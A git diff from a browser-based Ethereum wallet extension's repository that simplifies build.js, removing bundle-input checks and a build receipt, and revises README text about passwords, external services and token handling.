|
||||
- `README.md` is the primary documentation. Required sections:
|
||||
- **Description**: First line must include the project name, purpose,
|
||||
category (web server, SPA, CLI tool, etc.), license, and author. Example:
|
||||
"µPaaS is an MIT-licensed Go web application by @sneak that receives
|
||||
git-frontend webhooks and deploys applications via Docker in realtime."
|
||||
- **Getting Started**: Copy-pasteable install/usage code block.
|
||||
- **Entrypoints**: Opens by stating that the repo adheres to the
|
||||
[Scripts to Rule Them All](https://github.com/github/scripts-to-rule-them-all)
|
||||
standard (with that link), then documents each provided `script/`
|
||||
entrypoint and its purpose.
|
||||
- **Rationale**: Why does this exist?
|
||||
- **Design**: How is the program structured?
|
||||
- **TODO**: Update meticulously, even between commits. When planning, put
|
||||
@@ -361,14 +144,8 @@ style conventions are in separate documents:
|
||||
- Use SemVer.
|
||||
|
||||
- Database migrations live in `internal/db/migrations/` and must be embedded in
|
||||
the binary.
|
||||
- `000_migration.sql` — contains ONLY the creation of the migrations
|
||||
tracking table itself. Nothing else.
|
||||
- `001_schema.sql` — the full application schema.
|
||||
- **Pre-1.0.0:** never add additional migration files (002, 003, etc.).
|
||||
There is no installed base to migrate. Edit `001_schema.sql` directly.
|
||||
- **Post-1.0.0:** add new numbered migration files for each schema change.
|
||||
Never edit existing migrations after release.
|
||||
the binary. Pre-1.0.0: modify existing migrations (no installed base assumed).
|
||||
Post-1.0.0: add new migration files.
|
||||
|
||||
- All repos should have an `.editorconfig` enforcing the project's indentation
|
||||
settings.
|
||||
@@ -398,9 +175,6 @@ style conventions are in separate documents:
|
||||
- `README.md`, `.git`, `.gitignore`, `.editorconfig`
|
||||
- `LICENSE`, `REPO_POLICIES.md` (copy from the `prompts` repo)
|
||||
- `Makefile`
|
||||
- `script/` entrypoints (`bootstrap`, `setup`, `projectname`, `test`,
|
||||
`lint`, `fmt`, `fmt-check`, `check`, `docker`, `cibuild`, `precommit`,
|
||||
`install-precommit`)
|
||||
- `Dockerfile`, `.dockerignore`
|
||||
- `.gitea/workflows/check.yml`
|
||||
- Go: `go.mod`, `go.sum`, `.golangci.yml`
|
||||
|
||||
564
build.js
564
build.js
@@ -1,488 +1,28 @@
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
const crypto = require("crypto");
|
||||
const { execSync } = require("child_process");
|
||||
const esbuild = require("esbuild");
|
||||
const { resolveVersion } = require("./script/lib/version");
|
||||
const {
|
||||
BACKGROUND_ENTRY_PREFIX,
|
||||
FORBIDDEN_INPUTS,
|
||||
assertTableWellFormed,
|
||||
} = require("./script/lib/forbiddenBundleInputs");
|
||||
|
||||
const DIST = path.join(__dirname, "dist");
|
||||
const DIST_CHROME = path.join(DIST, "chrome");
|
||||
const DIST_FIREFOX = path.join(DIST, "firefox");
|
||||
const DIST_CHROME = path.join(__dirname, "dist", "chrome");
|
||||
const DIST_FIREFOX = path.join(__dirname, "dist", "firefox");
|
||||
const SRC = path.join(__dirname, "src");
|
||||
|
||||
// The module whose compiled DEBUG state script/verify-build asserts. Which
|
||||
// bundles contain it is derived from esbuild's own dependency graph rather
|
||||
// than from a hardcoded list, so it tracks the bundle layout instead of
|
||||
// rotting with it.
|
||||
const AUDITED_MODULE = "src/shared/constants.js";
|
||||
|
||||
// FORBIDDEN_INPUTS — what each entry point's bundle may not contain, and what
|
||||
// that covers — lives in script/lib/forbiddenBundleInputs.js, because the
|
||||
// ESLint rule reads the same table and two literal copies of a path drift.
|
||||
//
|
||||
// This is the authoritative check, and it is here rather than in the linter
|
||||
// because it consults the resolution esbuild actually performed. Any specifier
|
||||
// syntax, any hop, any resolution rule that puts the module in the bundle fails
|
||||
// the build, whether or not a text matcher would have recognized it. A
|
||||
// background entry point the table does not name fails as well, so a second
|
||||
// worker is protected by default rather than by someone remembering this file.
|
||||
// Dockerfile:42 runs `make build`, so it is enforced in CI.
|
||||
|
||||
// The build receipt: every file this build emits, with its sha256 and whether
|
||||
// it is one of the audited bundles. script/verify-build is handed this and
|
||||
// checks dist/ against it, so the file list comes from the build that just ran
|
||||
// rather than being read back out of the tree it is supposed to vouch for.
|
||||
//
|
||||
// The path is supplied by the caller, not chosen here, and the Makefile makes
|
||||
// a fresh one per invocation outside the repo: that is what ties a receipt to
|
||||
// one build rather than leaving a standing file anyone can write.
|
||||
const RECEIPT_HEADER = "autistmask-build-receipt v1";
|
||||
const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
|
||||
|
||||
// Every emitted path must be plainly nameable, because the receipt is a
|
||||
// line-oriented text file consumed by a POSIX shell script and a path with a
|
||||
// space or a newline in it could not be read back unambiguously. Nothing this
|
||||
// build emits looks like that; if that ever changes, the build fails here
|
||||
// rather than writing a receipt that cannot be checked.
|
||||
const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
|
||||
|
||||
function ensureDir(dir) {
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
}
|
||||
|
||||
// Repo-relative, forward-slashed, so the manifest reads the same on every
|
||||
// platform and can be consumed by a POSIX shell script without further work.
|
||||
function repoRelative(p) {
|
||||
return path.relative(__dirname, p).split(path.sep).join("/");
|
||||
}
|
||||
|
||||
// Collect the outputs of one esbuild run that bundle AUDITED_MODULE. esbuild
|
||||
// reports every input that contributed to an output in the metafile, which is
|
||||
// the authoritative answer to "is constants.js in this bundle" — unlike
|
||||
// searching the minified text, it does not depend on what survived minification.
|
||||
//
|
||||
// The ".js" filter below is the only place that assumption lives:
|
||||
// script/verify-build reads every file the receipt names, whatever its
|
||||
// extension, and fails on any that carries a debug marker without being
|
||||
// recorded as an audited bundle — so a bundle emitted under some other
|
||||
// extension fails there rather than escaping both checks at once.
|
||||
function outputsContainingAuditedModule(metafile) {
|
||||
return Object.entries(metafile.outputs)
|
||||
.filter(([outFile, info]) => {
|
||||
if (!outFile.endsWith(".js")) return false;
|
||||
return Object.keys(info.inputs).some(
|
||||
(input) => repoRelative(input) === AUDITED_MODULE,
|
||||
);
|
||||
})
|
||||
.map(([outFile]) => repoRelative(outFile));
|
||||
}
|
||||
|
||||
// Shortest import chain from `entryInput` to `target` through the metafile's
|
||||
// own input graph, or null when there is none. The message this feeds is the
|
||||
// point of the check: "state.js is in the worker bundle" is not actionable on
|
||||
// its own, "index.js -> chainSwitchFields.js -> state.js" is.
|
||||
function importChain(metafile, entryInput, target) {
|
||||
const graph = new Map(
|
||||
Object.entries(metafile.inputs).map(([input, info]) => [
|
||||
repoRelative(input),
|
||||
(info.imports || []).map((i) => repoRelative(i.path)),
|
||||
]),
|
||||
);
|
||||
const start = repoRelative(entryInput);
|
||||
const seen = new Set([start]);
|
||||
const queue = [[start]];
|
||||
while (queue.length > 0) {
|
||||
const chain = queue.shift();
|
||||
for (const next of graph.get(chain[chain.length - 1]) || []) {
|
||||
if (next === target) return chain.concat([next]);
|
||||
if (seen.has(next)) continue;
|
||||
seen.add(next);
|
||||
queue.push(chain.concat([next]));
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
// What the forbidden-input checks accumulate over a whole build: which
|
||||
// FORBIDDEN_INPUTS keys were actually bundled, and every input of every output
|
||||
// this build emitted. Both are read by assertForbiddenTableCovered() at the
|
||||
// end — a table entry naming something that is not there any more enforces
|
||||
// nothing, and must fail rather than pass quietly.
|
||||
function newForbiddenRecord() {
|
||||
return { entriesChecked: new Set(), bundledInputs: new Set() };
|
||||
}
|
||||
|
||||
// Note every input of every output of one esbuild run. Deliberately not
|
||||
// restricted to the entry points named in FORBIDDEN_INPUTS: it is the POPUP
|
||||
// that legitimately bundles src/shared/state.js, and that is what makes
|
||||
// "the forbidden module still exists at this path" checkable at all.
|
||||
function recordBundledInputs(metafile, record) {
|
||||
for (const info of Object.values(metafile.outputs)) {
|
||||
for (const input of Object.keys(info.inputs)) {
|
||||
record.bundledInputs.add(repoRelative(input));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fail the build when an entry point's bundle contains a module it is
|
||||
// prohibited from reaching. The inputs come from esbuild's metafile, so this is
|
||||
// the resolution the shipped bundle was built from and not a guess at it.
|
||||
//
|
||||
// A background entry point with no line in the table fails here too. The five
|
||||
// defects this exists to prevent were accidents, and so is adding a second
|
||||
// worker entry point without knowing that a table somewhere needs a line: the
|
||||
// protection has to be the default for that directory rather than something
|
||||
// the next author must opt into.
|
||||
function assertNoForbiddenInputs(
|
||||
entryPoint,
|
||||
outfile,
|
||||
metafile,
|
||||
record,
|
||||
table = FORBIDDEN_INPUTS,
|
||||
) {
|
||||
const entry = repoRelative(entryPoint);
|
||||
const forbidden = table[entry];
|
||||
if (!forbidden) {
|
||||
if (!entry.startsWith(BACKGROUND_ENTRY_PREFIX)) return;
|
||||
throw new Error(
|
||||
`${entry} is a background entry point with no line in ` +
|
||||
`FORBIDDEN_INPUTS, so nothing stops its bundle from ` +
|
||||
`containing the shared state singleton. Add it to ` +
|
||||
`script/lib/forbiddenBundleInputs.js. The MV3 worker never ` +
|
||||
`populates that singleton, so reading it serves ` +
|
||||
`DEFAULT_STATE; use getState()/updateState() from ` +
|
||||
`src/background/state.js instead.`,
|
||||
);
|
||||
}
|
||||
|
||||
const out = repoRelative(outfile);
|
||||
const entryOutput = Object.entries(metafile.outputs).find(
|
||||
([outFile]) => repoRelative(outFile) === out,
|
||||
);
|
||||
if (!entryOutput) {
|
||||
throw new Error(`esbuild reported no metafile output for ${out}`);
|
||||
}
|
||||
const inputs = new Set(
|
||||
Object.keys(entryOutput[1].inputs).map(repoRelative),
|
||||
);
|
||||
|
||||
// Recorded only once the bundle's inputs are actually in hand. Marking the
|
||||
// entry checked any earlier — as this did — means an early return above
|
||||
// satisfies assertForbiddenTableCovered() with a bundle nobody examined,
|
||||
// and the coverage half cannot tell that from a real check. The lookup
|
||||
// above is the fragile step: repoRelative() resolves against process.cwd()
|
||||
// while esbuild's output keys are cwd-relative, so a change to where the
|
||||
// build runs from could miss.
|
||||
record.entriesChecked.add(entry);
|
||||
|
||||
for (const module of forbidden) {
|
||||
if (!inputs.has(module)) continue;
|
||||
const chain = importChain(metafile, entryPoint, module);
|
||||
throw new Error(
|
||||
`${out} bundles ${module}, which ${entry} must not reach` +
|
||||
`${chain ? `: ${chain.join(" -> ")}` : ""}. The MV3 worker ` +
|
||||
`never populates the shared state singleton, so reading it ` +
|
||||
`serves DEFAULT_STATE. Use getState()/updateState() from ` +
|
||||
`src/background/state.js instead.`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Fail the build when the table has rotted away from the tree it describes.
|
||||
// Both halves of an entry rot independently, and either one turns the whole
|
||||
// prohibition into a pass that checks nothing:
|
||||
//
|
||||
// - the KEY, when no bundled entry point matches it: the entry point was
|
||||
// renamed or is no longer built, and no bundle was ever tested against the
|
||||
// list;
|
||||
// - the MODULE, when this build bundled it nowhere: the module was renamed,
|
||||
// moved or deleted, so "is it an input of the background bundle" is asked
|
||||
// about a path nothing resolves to and is answered no forever. The popup
|
||||
// legitimately bundles src/shared/state.js, which is what makes this
|
||||
// checkable — and it is stronger than an existsSync(), because it also
|
||||
// fails when the file is still there but has dropped out of every bundle.
|
||||
//
|
||||
// This matters concretely: https://git.eeqj.de/sneak/AutistMask/issues/311
|
||||
// rewrites this persistence layer, and a rename that quietly disarmed the
|
||||
// guarantee would put the singleton back within reach of the worker with every
|
||||
// check in the repo still green.
|
||||
//
|
||||
// The third way — an entry that lists no modules at all — is refused where the
|
||||
// table is defined, at require time, because that one also empties the ESLint
|
||||
// rule's forbidden set and so has to fail before either layer runs. It is
|
||||
// re-checked here so the build's own half does not depend on the table having
|
||||
// been loaded from that file.
|
||||
function assertForbiddenTableCovered(record, table = FORBIDDEN_INPUTS) {
|
||||
assertTableWellFormed(table);
|
||||
for (const [entry, modules] of Object.entries(table)) {
|
||||
if (!record.entriesChecked.has(entry)) {
|
||||
throw new Error(
|
||||
`${entry} is listed in FORBIDDEN_INPUTS but was not bundled, ` +
|
||||
`so nothing checked it`,
|
||||
);
|
||||
}
|
||||
for (const module of modules) {
|
||||
if (record.bundledInputs.has(module)) continue;
|
||||
throw new Error(
|
||||
`${module} is listed in FORBIDDEN_INPUTS for ${entry}, but ` +
|
||||
`this build bundled it nowhere, so the prohibition names ` +
|
||||
`a module that is not in this tree at that path and ` +
|
||||
`nothing enforces it. If the module moved, move it in ` +
|
||||
`script/lib/forbiddenBundleInputs.js too, which both ` +
|
||||
`this check and the ESLint rule read.`,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Every file this build writes under dist/, recorded as it is written. This is
|
||||
// the build's own account of what it emitted; it is never recovered by
|
||||
// listing dist/, because a file that is in dist/ without this build having put
|
||||
// it there is exactly what the receipt exists to expose.
|
||||
const emittedFiles = [];
|
||||
|
||||
function recordEmitted(absPath) {
|
||||
emittedFiles.push(absPath);
|
||||
}
|
||||
|
||||
// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
|
||||
// CLI record their outputs where they are invoked.
|
||||
function copyEmitted(src, dest) {
|
||||
fs.copyFileSync(src, dest);
|
||||
recordEmitted(dest);
|
||||
}
|
||||
|
||||
function sha256File(absPath) {
|
||||
return crypto
|
||||
.createHash("sha256")
|
||||
.update(fs.readFileSync(absPath))
|
||||
.digest("hex");
|
||||
}
|
||||
|
||||
// Write the receipt for the files this build emitted. Deliberately records no
|
||||
// build mode: which mode was asked for is script/verify-build's argument, so
|
||||
// build.js cannot vouch for build.js. All the receipt says is "these bytes,
|
||||
// under these names, are what I wrote, and these ones bundle constants.js".
|
||||
function writeReceipt(receiptPath, auditedBundles) {
|
||||
const audited = new Set(auditedBundles);
|
||||
const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
|
||||
|
||||
for (const p of paths) {
|
||||
if (!SAFE_EMITTED_PATH.test(p)) {
|
||||
throw new Error(
|
||||
`emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// A bundle esbuild reported but that nothing recorded as emitted means the
|
||||
// two halves have drifted apart, and the receipt would then leave an
|
||||
// audited bundle out. Fail rather than emit a short receipt.
|
||||
for (const bundle of audited) {
|
||||
if (!paths.includes(bundle)) {
|
||||
throw new Error(
|
||||
`${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
|
||||
);
|
||||
}
|
||||
}
|
||||
if (audited.size === 0) {
|
||||
throw new Error(
|
||||
`no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
|
||||
);
|
||||
}
|
||||
|
||||
const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
|
||||
for (const p of paths) {
|
||||
const flag = audited.has(p) ? "A" : "P";
|
||||
lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
|
||||
}
|
||||
fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
|
||||
|
||||
console.log(
|
||||
`Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
|
||||
`containing ${AUDITED_MODULE} (${receiptPath})`,
|
||||
);
|
||||
}
|
||||
|
||||
// Where the receipt goes, decided before anything is emitted so a build that
|
||||
// cannot produce a checkable receipt fails before it writes any artifacts.
|
||||
// Inside dist/ is refused: a receipt that lives in the tree it describes can
|
||||
// be rewritten by whoever rewrites the tree, which is the hole this replaces.
|
||||
function receiptTarget() {
|
||||
const requested = process.env[RECEIPT_ENV];
|
||||
if (!requested) {
|
||||
return null;
|
||||
}
|
||||
const resolved = path.resolve(requested);
|
||||
if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
|
||||
throw new Error(
|
||||
`${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
|
||||
`describes dist/ and must not live in it.`,
|
||||
);
|
||||
}
|
||||
return resolved;
|
||||
}
|
||||
|
||||
// DEBUG is a build-time flag, off unless explicitly requested. It is the only
|
||||
// thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
|
||||
// exact: anything other than the literal "1" (unset, empty, "true", a typo)
|
||||
// produces a release build. Failing towards the safe mode is deliberate.
|
||||
function isDebugBuild() {
|
||||
return process.env.AUTISTMASK_DEBUG === "1";
|
||||
}
|
||||
|
||||
// A short git output, or null when git cannot answer. Distinguishing "git said
|
||||
// nothing" from "git could not be asked" matters below: a working tree whose
|
||||
// state is unknown must not be stamped as clean.
|
||||
function git(args) {
|
||||
try {
|
||||
return execSync(`git ${args}`, {
|
||||
encoding: "utf8",
|
||||
stdio: ["ignore", "pipe", "ignore"],
|
||||
}).trim();
|
||||
} catch {
|
||||
// not a git repo, or git not available
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// The working-tree state, as a suffix for the displayed commit: "" when the
|
||||
// tree matches HEAD, "-dirty" when it does not, "-unknown" when git answered
|
||||
// the hash but not the status. Without this a build from a modified tree
|
||||
// stamped a clean hash, so the About screen named a commit whose contents were
|
||||
// not what was running — the one thing that stamp exists to establish.
|
||||
//
|
||||
// git status --porcelain honours .gitignore, so dist/ and node_modules/ do not
|
||||
// make every build dirty; an untracked file that is NOT ignored does, and
|
||||
// correctly: it may well be in the bundle.
|
||||
function worktreeSuffix() {
|
||||
const status = git("status --porcelain");
|
||||
if (status === null) return "-unknown";
|
||||
return status === "" ? "" : "-dirty";
|
||||
}
|
||||
|
||||
function getBuildInfo() {
|
||||
const pkg = JSON.parse(
|
||||
fs.readFileSync(path.join(__dirname, "package.json"), "utf8"),
|
||||
);
|
||||
const commitHashFull = git("rev-parse HEAD") || "unknown";
|
||||
const shortHash = git("rev-parse --short HEAD") || "unknown";
|
||||
// The full hash is left clean because it is the href of the commit link in
|
||||
// the About screen, and "abc123-dirty" is not a commit anyone can fetch.
|
||||
// The displayed short hash carries the marker, so the screen says the tree
|
||||
// was modified while still linking somewhere real.
|
||||
const commitHash =
|
||||
shortHash === "unknown" ? shortHash : shortHash + worktreeSuffix();
|
||||
return {
|
||||
// Fails the build when package.json and the two manifests disagree;
|
||||
// see script/lib/version.js. Called before anything is emitted, so a
|
||||
// tree with no single version never reaches dist/.
|
||||
version: resolveVersion(__dirname),
|
||||
license: pkg.license,
|
||||
author: pkg.author,
|
||||
commitHash,
|
||||
commitHashFull,
|
||||
buildDate: new Date().toISOString().slice(0, 10),
|
||||
};
|
||||
}
|
||||
|
||||
async function build() {
|
||||
console.log("Building AutistMask extension...");
|
||||
|
||||
const receiptPath = receiptTarget();
|
||||
if (!receiptPath) {
|
||||
console.warn(
|
||||
`WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
|
||||
`receipt and script/verify-build cannot verify what it ` +
|
||||
`emitted. Build through make build / make build-debug.`,
|
||||
);
|
||||
}
|
||||
|
||||
const buildInfo = getBuildInfo();
|
||||
console.log("Build info:", buildInfo);
|
||||
|
||||
const debugBuild = isDebugBuild();
|
||||
console.log(
|
||||
debugBuild
|
||||
? "Build mode: DEBUG (INSECURE - hardcoded test mnemonic, do not ship)"
|
||||
: "Build mode: release (DEBUG off)",
|
||||
);
|
||||
|
||||
const define = {
|
||||
__BUILD_DEBUG__: JSON.stringify(debugBuild),
|
||||
__BUILD_VERSION__: JSON.stringify(buildInfo.version),
|
||||
__BUILD_LICENSE__: JSON.stringify(buildInfo.license),
|
||||
__BUILD_AUTHOR__: JSON.stringify(buildInfo.author),
|
||||
__BUILD_COMMIT__: JSON.stringify(buildInfo.commitHash),
|
||||
__BUILD_COMMIT_FULL__: JSON.stringify(buildInfo.commitHashFull),
|
||||
__BUILD_DATE__: JSON.stringify(buildInfo.buildDate),
|
||||
};
|
||||
|
||||
// Emitted bundles that contain constants.js, accumulated across every
|
||||
// esbuild run below and recorded in the receipt for script/verify-build.
|
||||
const auditedBundles = [];
|
||||
|
||||
// What the forbidden-input checks accumulate across those same runs.
|
||||
const forbiddenRecord = newForbiddenRecord();
|
||||
|
||||
// compile tailwind CSS
|
||||
console.log("Compiling Tailwind CSS...");
|
||||
const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
|
||||
const tailwindOutput = path.join(DIST, "styles.css");
|
||||
|
||||
// Start from an empty dist/, so what is there afterwards is what this
|
||||
// build put there and nothing else. Leftovers from an earlier build are
|
||||
// not covered by this build's receipt, and script/verify-build rejects
|
||||
// any file it did not emit rather than ignoring it.
|
||||
fs.rmSync(DIST, { recursive: true, force: true });
|
||||
ensureDir(DIST);
|
||||
|
||||
// The locally installed binary, not `npx` — npx silently fetches from the
|
||||
// registry when the binary is absent, which is an unpinned network fetch
|
||||
// in the middle of a build.
|
||||
const tailwindBin = path.join(
|
||||
__dirname,
|
||||
"node_modules",
|
||||
".bin",
|
||||
"tailwindcss",
|
||||
);
|
||||
const tailwindOutput = path.join(__dirname, "dist", "styles.css");
|
||||
ensureDir(path.join(__dirname, "dist"));
|
||||
execSync(
|
||||
`"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
|
||||
`npx @tailwindcss/cli -i ${tailwindInput} -o ${tailwindOutput} --minify`,
|
||||
{ stdio: "inherit" },
|
||||
);
|
||||
recordEmitted(tailwindOutput);
|
||||
|
||||
// Every bundle goes through here, so metafile collection cannot be
|
||||
// forgotten when a new entry point is added.
|
||||
async function bundle(entryPoint, outfile) {
|
||||
const result = await esbuild.build({
|
||||
entryPoints: [entryPoint],
|
||||
bundle: true,
|
||||
format: "iife",
|
||||
outfile,
|
||||
platform: "browser",
|
||||
target: ["chrome110", "firefox110"],
|
||||
minify: true,
|
||||
metafile: true,
|
||||
define,
|
||||
});
|
||||
// Before the output is recorded as emitted: a bundle that violates a
|
||||
// prohibition must abort the build, not be written into a receipt.
|
||||
recordBundledInputs(result.metafile, forbiddenRecord);
|
||||
assertNoForbiddenInputs(
|
||||
entryPoint,
|
||||
outfile,
|
||||
result.metafile,
|
||||
forbiddenRecord,
|
||||
);
|
||||
recordEmitted(outfile);
|
||||
auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
|
||||
}
|
||||
|
||||
for (const distDir of [DIST_CHROME, DIST_FIREFOX]) {
|
||||
ensureDir(path.join(distDir, "src", "popup"));
|
||||
@@ -490,85 +30,73 @@ async function build() {
|
||||
ensureDir(path.join(distDir, "src", "content"));
|
||||
|
||||
// bundle popup JS with esbuild (inlines ethers, libsodium, etc.)
|
||||
await bundle(
|
||||
path.join(SRC, "popup", "index.js"),
|
||||
path.join(distDir, "src", "popup", "index.js"),
|
||||
);
|
||||
await esbuild.build({
|
||||
entryPoints: [path.join(SRC, "popup", "index.js")],
|
||||
bundle: true,
|
||||
format: "iife",
|
||||
outfile: path.join(distDir, "src", "popup", "index.js"),
|
||||
platform: "browser",
|
||||
target: ["chrome110", "firefox110"],
|
||||
minify: true,
|
||||
});
|
||||
|
||||
// bundle background script
|
||||
await bundle(
|
||||
path.join(SRC, "background", "index.js"),
|
||||
path.join(distDir, "src", "background", "index.js"),
|
||||
);
|
||||
await esbuild.build({
|
||||
entryPoints: [path.join(SRC, "background", "index.js")],
|
||||
bundle: true,
|
||||
format: "iife",
|
||||
outfile: path.join(distDir, "src", "background", "index.js"),
|
||||
platform: "browser",
|
||||
target: ["chrome110", "firefox110"],
|
||||
minify: true,
|
||||
});
|
||||
|
||||
// bundle content script
|
||||
await bundle(
|
||||
path.join(SRC, "content", "index.js"),
|
||||
path.join(distDir, "src", "content", "index.js"),
|
||||
);
|
||||
await esbuild.build({
|
||||
entryPoints: [path.join(SRC, "content", "index.js")],
|
||||
bundle: true,
|
||||
format: "iife",
|
||||
outfile: path.join(distDir, "src", "content", "index.js"),
|
||||
platform: "browser",
|
||||
target: ["chrome110", "firefox110"],
|
||||
minify: true,
|
||||
});
|
||||
|
||||
// bundle inpage script (injected into page context, separate file)
|
||||
await bundle(
|
||||
path.join(SRC, "content", "inpage.js"),
|
||||
path.join(distDir, "src", "content", "inpage.js"),
|
||||
);
|
||||
await esbuild.build({
|
||||
entryPoints: [path.join(SRC, "content", "inpage.js")],
|
||||
bundle: true,
|
||||
format: "iife",
|
||||
outfile: path.join(distDir, "src", "content", "inpage.js"),
|
||||
platform: "browser",
|
||||
target: ["chrome110", "firefox110"],
|
||||
minify: true,
|
||||
});
|
||||
|
||||
// copy popup HTML
|
||||
copyEmitted(
|
||||
fs.copyFileSync(
|
||||
path.join(SRC, "popup", "index.html"),
|
||||
path.join(distDir, "src", "popup", "index.html"),
|
||||
);
|
||||
|
||||
// place compiled CSS next to popup HTML
|
||||
copyEmitted(
|
||||
fs.copyFileSync(
|
||||
tailwindOutput,
|
||||
path.join(distDir, "src", "popup", "styles.css"),
|
||||
);
|
||||
}
|
||||
|
||||
// copy manifests
|
||||
copyEmitted(
|
||||
fs.copyFileSync(
|
||||
path.join(__dirname, "manifest", "chrome.json"),
|
||||
path.join(DIST_CHROME, "manifest.json"),
|
||||
);
|
||||
copyEmitted(
|
||||
fs.copyFileSync(
|
||||
path.join(__dirname, "manifest", "firefox.json"),
|
||||
path.join(DIST_FIREFOX, "manifest.json"),
|
||||
);
|
||||
|
||||
assertForbiddenTableCovered(forbiddenRecord);
|
||||
|
||||
// Written last so a build that died partway through leaves no receipt at
|
||||
// all, which script/verify-build treats as a hard failure rather than as
|
||||
// "nothing to check".
|
||||
if (receiptPath) {
|
||||
writeReceipt(receiptPath, auditedBundles);
|
||||
}
|
||||
|
||||
console.log("Build complete: dist/chrome/ and dist/firefox/");
|
||||
}
|
||||
|
||||
// Run only as a program. Required as a module — which is how
|
||||
// tests/buildForbiddenInputs.test.js reaches the checks below — this file
|
||||
// builds nothing and writes nothing.
|
||||
if (require.main === module) {
|
||||
build().catch((err) => {
|
||||
console.error(
|
||||
`Build failed: ${err && err.message ? err.message : err}`,
|
||||
);
|
||||
process.exit(1);
|
||||
});
|
||||
}
|
||||
|
||||
// Exported for tests/buildForbiddenInputs.test.js only. The prohibition these
|
||||
// three functions enforce is the guarantee behind
|
||||
// https://git.eeqj.de/sneak/AutistMask/issues/324, and `make check` does not
|
||||
// run `make build` — so they are unit tested against synthetic metafiles
|
||||
// rather than being exercised only by CI, where "it ran" is not "it works".
|
||||
module.exports = {
|
||||
importChain,
|
||||
newForbiddenRecord,
|
||||
recordBundledInputs,
|
||||
assertNoForbiddenInputs,
|
||||
assertForbiddenTableCovered,
|
||||
};
|
||||
build();
|
||||
|
||||
243
docs/README.md
243
docs/README.md
@@ -6,10 +6,10 @@ and ERC-20 tokens, and connects to web3 sites. Nothing else.
|
||||
|
||||
## Why AutistMask Exists
|
||||
|
||||
The most popular browser-based EVM wallet has become bloated with swap UIs,
|
||||
portfolio dashboards, analytics, tracking, and advertisements. It is no longer a
|
||||
simple wallet. The common alternatives only support Chromium browsers, leaving
|
||||
Firefox users without a usable option.
|
||||
MetaMask has become bloated with swap UIs, portfolio dashboards, analytics,
|
||||
tracking, and advertisements. It is no longer a simple wallet. Most alternatives
|
||||
(Rabby, Rainbow, etc.) only support Chromium browsers, leaving Firefox users
|
||||
without a usable option.
|
||||
|
||||
AutistMask exists because a wallet should be a wallet. You should be able to see
|
||||
your balances, send tokens, receive tokens, and connect to sites. That is all a
|
||||
@@ -27,10 +27,9 @@ analytics, use a portfolio tracker. The wallet is not the place for any of that.
|
||||
|
||||
- **Encrypt your recovery phrase and private keys at rest.** Your secrets are
|
||||
encrypted on disk using Argon2id key derivation and XSalsa20-Poly1305
|
||||
authenticated encryption (via libsodium). Your password is required whenever a
|
||||
secret has to be decrypted: signing a transaction, signing a message or typed
|
||||
data, exporting a private key, and deleting a wallet. Viewing balances and
|
||||
addresses never requires a password.
|
||||
authenticated encryption (via libsodium). Your password is required only when
|
||||
signing a transaction. Viewing balances and addresses never requires a
|
||||
password.
|
||||
|
||||
- **Let you choose your own RPC endpoint.** The default is a public Ethereum
|
||||
RPC, but you can point it at your own node or any provider you trust. No
|
||||
@@ -57,25 +56,23 @@ analytics, use a portfolio tracker. The wallet is not the place for any of that.
|
||||
|
||||
- **No NFT galleries or portfolio views.** This is a wallet, not a dashboard.
|
||||
|
||||
- **No third-party token list APIs.** Token balances come from the same block
|
||||
explorer you configure for transaction history, and the extension ships its
|
||||
own hardcoded list of top ERC-20 contract addresses for symbol-spoofing
|
||||
detection. Any token you want tracked across all your addresses, you add
|
||||
yourself by contract address.
|
||||
- **No token auto-discovery.** AutistMask does not scan the blockchain for
|
||||
tokens you might hold. You add tokens manually by contract address. This
|
||||
prevents scam tokens from appearing in your wallet uninvited.
|
||||
|
||||
- **No backend servers operated by the developer.** Nothing is sent to any
|
||||
server run by AutistMask. Every network destination is listed below.
|
||||
- **No phishing blocklists from third parties.** AutistMask does not phone home
|
||||
to check URLs against a remote blocklist. It does maintain a local list of
|
||||
known scam addresses, but this is shipped with the extension, not fetched from
|
||||
a server.
|
||||
|
||||
## How It Works
|
||||
|
||||
AutistMask is a browser extension that runs entirely in your browser. It does
|
||||
not have a backend server. It communicates with five external destinations:
|
||||
three you configure yourself, and two fixed ones used for scam detection.
|
||||
not have a backend server. It communicates with three external services:
|
||||
|
||||
### External Services
|
||||
|
||||
**Ethereum JSON-RPC endpoint** (default: `ethereum-rpc.publicnode.com`;
|
||||
`ethereum-sepolia-rpc.publicnode.com` on Sepolia)
|
||||
**Ethereum JSON-RPC endpoint** (default: `ethereum-rpc.publicnode.com`)
|
||||
|
||||
This is how AutistMask talks to the Ethereum network. Every wallet needs an
|
||||
Ethereum node to check balances, estimate gas, broadcast transactions, and
|
||||
@@ -83,58 +80,27 @@ verify confirmations. The default is a free public RPC endpoint. You can change
|
||||
this in Settings to any Ethereum JSON-RPC endpoint, including your own local
|
||||
node.
|
||||
|
||||
When it is contacted: on every balance refresh (every 10 seconds while the popup
|
||||
is open, every 60 seconds in the background), when you type an ENS name into the
|
||||
Send screen, when a send is prepared and broadcast, while a pending transaction
|
||||
